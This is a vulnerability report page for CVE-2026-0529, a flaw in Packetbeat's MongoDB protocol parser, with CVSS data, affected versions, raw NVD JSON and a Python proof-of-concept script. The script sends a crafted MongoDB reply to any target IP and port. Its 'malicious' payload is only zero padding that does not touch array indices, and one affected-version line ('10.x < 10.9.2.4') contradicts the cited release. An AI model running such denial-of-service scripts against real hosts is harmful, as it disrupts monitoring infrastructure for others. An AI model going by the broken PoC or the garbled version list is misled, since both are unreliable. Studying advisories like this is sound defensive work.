Security Vulnerability Report
中文
CVE-2026-0529 CVSS 6.5 MEDIUM

CVE-2026-0529

Published: 2026-01-14 10:16:09
Last Modified: 2026-04-15 00:35:42

Description

Improper Validation of Array Index (CWE-129) in Packetbeat’s MongoDB protocol parser can allow an attacker to cause Overflow Buffers (CAPEC-100) through specially crafted network traffic. This requires an attacker to send a malformed payload to a monitored network interface where MongoDB protocol parsing is enabled.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Packetbeat 8.x < 8.19.10
Packetbeat 9.x < 9.1.10
Packetbeat 10.x < 10.9.2.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-0529 PoC - Packetbeat MongoDB Protocol Parser Array Index Validation Issue This PoC demonstrates sending a malformed MongoDB response with invalid array indices. Note: This is for educational and testing purposes only. """ import socket import struct import random def create_malformed_mongodb_response(): """ Create a malformed MongoDB response packet with invalid array indices. This simulates the vulnerability where the parser doesn't properly validate array indices before accessing array elements. """ # MongoDB wire protocol response header # Message length (int32), Request ID (int32), Response To (int32), Opcode (int32) message_length = 0 # Will be calculated request_id = random.randint(1, 10000) response_to = 0 opcode = 1 # Reply opcode # Build response header header = struct.pack('<iiii', message_length, request_id, response_to, opcode) # Malformed response flags response_flags = 0 # Cursor ID cursor_id = 0 # Starting from starting_from = 0 # Number of documents - a small number num_docs = 2 # Malformed BSON document with invalid array index references # This is a simplified representation malicious_bson = b'\x00' * 100 # Padding to simulate malformed data # Build the response body body = struct.pack('<iii', response_flags, cursor_id, starting_from) body += struct.pack('<i', num_docs) body += malicious_bson # Calculate total message length total_length = len(header) + len(body) header = struct.pack('<i', total_length) + header[4:] return header + body def exploit(target_ip, target_port=27017): """ Send malformed MongoDB response to target. In a real scenario, this would be sent to a Packetbeat instance monitoring MongoDB traffic on the target port. """ try: payload = create_malformed_mongodb_response() sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) print(f'[+] Sending malformed MongoDB response ({len(payload)} bytes)') sock.send(payload) response = sock.recv(1024) print(f'[+] Received response: {len(response)} bytes') sock.close() return True except Exception as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': import sys if len(sys.argv) < 2: print('Usage: python3 cve_2026_0529_poc.py <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 27017 print(f'[*] CVE-2026-0529 PoC - Packetbeat MongoDB Parser Vulnerability') exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0529", "sourceIdentifier": "[email protected]", "published": "2026-01-14T10:16:08.813", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Validation of Array Index (CWE-129) in Packetbeat’s MongoDB protocol parser can allow an attacker to cause Overflow Buffers (CAPEC-100) through specially crafted network traffic. This requires an attacker to send a malformed payload to a monitored network interface where MongoDB protocol parsing is enabled."}, {"lang": "es", "value": "Validación incorrecta de índice de array (CWE-129) en el analizador del protocolo MongoDB de Packetbeat puede permitir a un atacante causar desbordamientos de búfer (CAPEC-100) a través de tráfico de red especialmente diseñado. Esto requiere que un atacante envíe una carga útil malformada a una interfaz de red monitoreada donde el análisis del protocolo MongoDB está habilitado."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-129"}]}], "references": [{"url": "https://discuss.elastic.co/t/packetbeat-8-19-10-9-1-10-9-2-4-security-update-esa-2026-02/384520", "source": "[email protected]"}]}}